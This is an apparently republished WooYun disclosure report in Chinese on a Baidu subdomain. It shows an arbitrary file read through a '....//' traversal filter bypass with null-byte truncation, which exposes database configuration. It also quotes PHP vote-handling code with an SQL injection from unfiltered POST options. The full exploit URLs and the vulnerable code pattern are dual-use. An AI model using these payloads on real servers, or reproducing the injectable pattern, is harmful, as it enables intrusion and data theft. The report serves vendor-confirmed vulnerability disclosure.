百度分站任意文件下载/信息泄露/SQL注入

admin 2017年4月21日19:14:41评论352 views字数 231阅读0分46秒阅读模式
摘要

2016-04-20: 细节已通知厂商并且等待厂商处理中
2016-04-20: 厂商已经确认,细节仅向厂商公开
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2016-06-04: 细节向公众公开

漏洞概要 关注数(30) 关注此漏洞

缺陷编号: WooYun-2016-198361

漏洞标题: 百度分站任意文件下载/信息泄露/SQL注入

相关厂商: 百度

漏洞作者: 李长歌

提交时间: 2016-04-20 07:28

公开时间: 2016-06-04 10:30

漏洞类型: 任意文件遍历/下载

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 任意文件读取利用 文件操作参数未加过滤 目录遍历 参数未过滤

12人收藏


漏洞详情

披露状态:

2016-04-20: 细节已通知厂商并且等待厂商处理中
2016-04-20: 厂商已经确认,细节仅向厂商公开
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2016-06-04: 细节向公众公开

简要描述:

百度分站任意文件下载/信息泄露/SQL注入

详细说明:

1 游览百度分站的时这个链接引起了我的注意http://tiyan.baidu.com/static/img.php?s=15,15&n=icon-info.png

百度分站任意文件下载/信息泄露/SQL注入

左后一个参数是一个文件,会不会存在任意文件下载呢。

依次访问一下连接均返回正常图片

http://tiyan.baidu.com/static/img.php?s=15,15&n=/icon-info.png

http://tiyan.baidu.com/static/img.php?s=15,15&n=./icon-info.png

http://tiyan.baidu.com/static/img.php?s=15,15&n=../icon-info.png

百度分站任意文件下载/信息泄露/SQL注入

当访问http://tiyan.baidu.com/static/img.php?s=15,15&n=....//icon-info.png 连接的时候图片却不正常显示了。

百度分站任意文件下载/信息泄露/SQL注入

这里说明很有可能是将../给替换了。....// 替换../还是会返回上级目录 所以文件不存在

访问路径http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//index.php%00.png 加上截断

百度分站任意文件下载/信息泄露/SQL注入

成功读取首页文件

有了首页文件就可以通过里面的结构来读取其他文件了。

http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//....//....//....//....//....//home/bae/bae/phplib/config/BaeMysqlConfigure.class.php%00.png读取数据库连接

百度分站任意文件下载/信息泄露/SQL注入

百度分站任意文件下载/信息泄露/SQL注入

多个数据库都是同一个账户信息,只可惜在内网没法连接哦

漏洞证明:

2 这个系统使用了yii框架其大概的目录结构为

http://tiyan.baidu.com/?r=site/home 这个页面对于的控制代码为http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//protected/controllers/SiteController.php%00.png

简单看了下代码发现PlazaController.php页面的option 参数没有过滤 存在SQL注入

code 区域
public function actionVoteSubmit() {
$voteId = intval($_POST['vote_id']);
$options = $_POST['option'];
if(!$options || count($options) == 0) {
$this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));
}

$vote = ActVote::model()->findByPk($voteId);

// 0.0 判断该用户是否参加过在投票
$hasVoted = ActVoteRecord::model()->hasVoted($this->user->id, $voteId);
if($hasVoted) {
$this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));
}

// 0.1 判断是否为多选并且该投票有限制多选的最多数量,如果超过,则截取前$vote->limit_num个
if($vote->type == ActVote::TYPE_MULTI && $vote->limit_num > 0) {
if(count($options) > $vote->limit_num) {
$options = array_slice($options, 0, $vote->limit_num);
}
}

// 1.1 选项选中数(selected_num) +1 & 投票的participate_num + 1
$strOptionIds = implode(',', $options);
$voteItem = new ActVoteItem();
$voteItem->updateCounters(array(
'selected_num' => 1
), "id in ({$strOptionIds})");

3 最后看下文件img.php果然是把../ 替换了,

http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//static/img.php%00.png

百度分站任意文件下载/信息泄露/SQL注入

修复方案:

修复

版权声明:转载请注明来源 李长歌@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-04-20 10:26

厂商回复:

感谢您关注百度安全!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-20 07:49 | 小良不能说的秘密 ( 实习白帽子 | Rank:36 漏洞数:15 | 一直等待与你再见一面)

    0

    666

  2. 2016-04-20 09:01 | hear7v ( 普通白帽子 | Rank:175 漏洞数:26 | 求组织收留啊)

    0

    唉。。挖不到洞了。。

  3. 2016-04-20 21:02 | erhuo ( 普通白帽子 | Rank:164 漏洞数:39 | 666)

    0

    @hear7v 大兄弟,你差1rank就是普通白帽子了

  4. 2016-04-20 23:32 | hear7v ( 普通白帽子 | Rank:175 漏洞数:26 | 求组织收留啊)

    0

    @erhuo shide

  5. 2016-04-21 16:50 | zowie ( 实习白帽子 | Rank:84 漏洞数:16 | Z先生)

    0

    这个人好厉害~求抱大腿

  6. 2016-05-10 12:53 | whynot ( 普通白帽子 | Rank:678 漏洞数:136 | 为你解冻冰河 为你放弃世界有何不可)

    0

    表哥真厉害、

  7. 2016-06-04 12:25 | 欧尼酱 ( 路人 | Rank:15 漏洞数:7 | 技术马马虎虎)

    0

    抱腿。。。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin